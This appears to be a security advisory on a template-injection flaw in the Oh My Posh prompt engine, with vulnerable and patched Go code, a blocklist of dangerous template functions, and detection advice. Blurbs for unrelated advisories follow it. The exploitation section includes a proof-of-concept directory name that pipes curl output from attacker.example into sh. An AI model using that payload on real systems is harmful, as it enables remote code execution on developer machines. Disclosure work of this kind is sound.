Jul 25, 2026·6 min read·24 visits
Navigating to a directory containing malicious Go template syntax in its name triggers immediate, arbitrary OS command execution under the current shell user context via Oh My Posh.
A critical-severity template injection vulnerability in Oh My Posh allows for unauthenticated arbitrary command execution. This issue occurs when a user navigates their shell into a directory whose name contains malicious Go template syntax, which is subsequently parsed and executed by the prompt engine.
GHSA-6XJ8-QV9J-XCJQ describes a critical-severity arbitrary command execution vulnerability in Oh My Posh, a customizable prompt theme engine utilized across multiple shells including Bash, Zsh, Fish, and PowerShell. The flaw resides within the path rendering component, which dynamically retrieves directory names from the underlying filesystem to display the current working directory. Because directory names are treated as trusted inputs, any Go template structural tags embedded within a folder name are processed and evaluated by the template engine.
The attack surface is exposed during standard shell navigation. When a user changes directories using commands such as cd, the prompt engine automatically executes to render the updated path. If the destination directory name is under the control of an attacker and contains malicious template instructions, the code execution phase is triggered automatically without further user action.
This vulnerability is classified under CWE-1336 (Improper Handling of Structural Elements in Input Template) and CWE-94 (Improper Control of Generation of Code). The default configuration of Oh My Posh exposes highly privileged template functions, such as cmd and readFile, allowing complete compromise of the local shell context.
The root cause of the vulnerability lies in the improper separation of code and data within the prompt rendering pipeline. Specifically, the path segment module in src/segments/path.go retrieves the names of directories directly from the filesystem. These directory names are concatenated to construct the resolved path string (pt.Path) without sanitization, filtering, or escaping of Go template delimiters ({{ and }}).
Following the construction of the path string, the application performs a double-evaluation step. It passes the raw path string containing the filesystem-derived folder names into the shared template rendering engine via template.Render(pt.Path, pt). The engine treats the structural template tags embedded within the directory names as executable code instructions rather than literal strings.
Because the template engine is initialized with a powerful function map (FuncMap) containing helper functions such as cmd, readFile, and env, an attacker can leverage these functions to interact with the operating system. The cmd helper executes arbitrary command strings through the execution environment runner, returning the standard output of the command directly into the prompt template.
In the vulnerable versions of Oh My Posh, src/segments/path.go used the generic template.Render() function, which applies the fully privileged configuration FuncMap to any text input. The following code demonstrates the vulnerable implementation within the path processing logic:
// src/segments/path.go (vulnerable)
func (pt *Path) setStyle() {
// ...
// pt.Path contains folder names retrieved from the filesystem
if txt, err := template.Render(pt.Path, pt); err == nil {
pt.Path = txt
}
}The corresponding initialization of the rendering environment in src/template/func_map.go bound operating system execution capabilities directly to the template namespace without restriction:
// src/template/func_map.go
func cmd(command string, args ...string) (string, error) {
output, err := env.RunCommand(command, args...)
return strings.TrimSpace(output), err
}To remediate this, the patch introduces a separation between trusted configurations and untrusted runtime inputs. The rendering engine was refactored to support a restricted rendering pipeline, RenderUntrusted(), which strips out functions that interact with the host operating system. The patch updates path.go to invoke this restricted renderer, ensuring template tags in directory names cannot execute code:
// src/segments/path.go (patched)
func (pt *Path) setStyle() {
// ...
// pt.Path is composed of untrusted filesystem inputs
// RenderUntrusted strips dangerous functions like cmd and readFile
if txt, err := template.RenderUntrusted(pt.Path, pt); err == nil {
pt.Path = txt
}
}An attack targeting this vulnerability is delivered via local filesystem interaction. The primary prerequisite is that the victim must navigate into a directory containing the crafted template string. Attackers can distribute these directories inside compressed archives, local network shares, USB drives, or cloned Git repositories.
Because path separators are disallowed within folder names on standard operating systems, the attacker must format the command without using the slash character (/ or \). Under Unix-like operating systems, this is typically achieved by utilizing alternative field separators or passing commands as separate arguments. In Windows environments, PowerShell variables or environmental parameters can bypass naming limitations.
When the user navigates into the target folder, the shell prompt executes oh-my-posh to display the active path. The execution path is completely transparent to the user, who only observes a slight rendering delay or the command output formatted into the prompt. The following example demonstrates a proof-of-concept directory name structured to execute a shell command:
{{ cmd "whoami" }}For complex payloads, the directory name can trigger a secondary script download and execution using environment variable expansion to avoid path character limits:
{{ cmd "curl${IFS}-s${IFS}attacker.example|sh" }}The impact of successful exploitation is complete system compromise within the security context of the current shell process. Because the prompt rendering process runs with the privileges of the active user, any arbitrary command is executed under those same credentials. If the shell is running in an elevated administrator or root context, the attacker gains full control over the operating system.
The CVSS v3.1 score of 7.8 reflects a High severity rating, primarily constrained by the requirement for local user interaction (navigating to the directory). The vector string CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H indicates that confidentiality, integrity, and availability are all highly impacted.
Once code execution is achieved, an attacker can read sensitive files, exfiltrate environment variables containing API keys and database credentials, establish persistent backdoors, or deploy ransomware. Because developers frequently navigate untrusted repositories cloned from open-source registries, this vulnerability presents a high-risk vector for supply chain and developer workstation attacks.
To address the vulnerability, developers must upgrade the Oh My Posh package to version 29.35.1 or 29.36.0 immediately. The fix separates the execution engine into trusted and untrusted rendering contexts, preventing dynamic filesystem outputs from executing dangerous functions.
The patch implements a robust blocklist within the restricted function map, neutralizing cmd, readFile, stat, glob, env, and expandenv when RenderUntrusted is called. The logic is defined as follows:
var dangerousFuncs = map[string]bool{
"cmd": true,
"readFile": true,
"stat": true,
"glob": true,
"env": true,
"expandenv": true,
}For systems where immediate upgrading is not feasible, security administrators should deploy detection rules to identify anomalous child processes. Specifically, security teams should monitor for scenarios where oh-my-posh acts as a parent process spawning shell engines or network utilities such as curl, wget, or powershell.
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
oh-my-posh JanDeDobbeleer | <= 29.35.0 | 29.35.1 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-1336 / CWE-94 |
| Attack Vector | Local (AV:L) |
| CVSS v3.1 | 7.8 (High) |
| Exploit Status | PoC Available |
| KEV Status | Not Listed |
| Impact | Arbitrary OS Command Execution as Current User |
The software uses a template engine but does not neutralize or properly isolate structural syntax characters before evaluating inputs, leading to arbitrary code or template execution.
A path traversal vulnerability (CWE-22) in Contao CMS allows unauthenticated remote attackers to bypass directory boundary restrictions in ImagesController and access files within the project directory.
Contao Open Source CMS versions 4.0.0 through 5.3.49 and 5.4.0-RC1 through 5.7.11 contain a Cross-Site Request Forgery (CSRF) vulnerability in backend parameter handling. The `RequestTokenListener` component validates anti-CSRF tokens solely for HTTP POST requests, while GET-based declarative guards run only when an `act` parameter is present in the query string. Consequently, custom backend actions dispatched via alternative parameters such as `key=` can execute without CSRF token verification when triggered by an authenticated user.
Contao CMS versions 4.1.0 through 5.3.49 and 5.4.0-RC1 through 5.7.11 fail to validate form submission tokens and enforce rate limiting when processing activation email resend requests via HTTP POST, enabling resource exhaustion and account state enumeration.
An information disclosure vulnerability in Contao CMS allows unauthenticated site visitors to view protected page titles, URLs, and text excerpts through search queries when protected page indexing is disabled after previously being enabled.
In Vikunja prior to version 2.6.0, relation creation via the CalDAV endpoint fails to invoke the TaskRelation.CanCreate authorization check. This missing access control allows an authenticated user to establish unauthorized relationships and perform write operations against any task, provided its unique identifier (UID) is known.
A cross-project information disclosure vulnerability in Vikunja allows authenticated users with read access to one project to view private task details from unauthorized projects via subtask expansion parameters.